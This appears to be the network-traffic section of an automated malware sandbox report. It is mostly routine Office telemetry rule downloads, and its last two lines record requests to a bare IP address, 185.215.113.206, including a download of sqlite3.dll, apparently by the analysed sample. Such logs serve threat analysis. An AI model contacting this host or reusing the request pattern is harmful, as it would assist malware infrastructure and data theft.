Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=xy+C3Wpb2k8Ug5Z&MD=cYzwUATg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
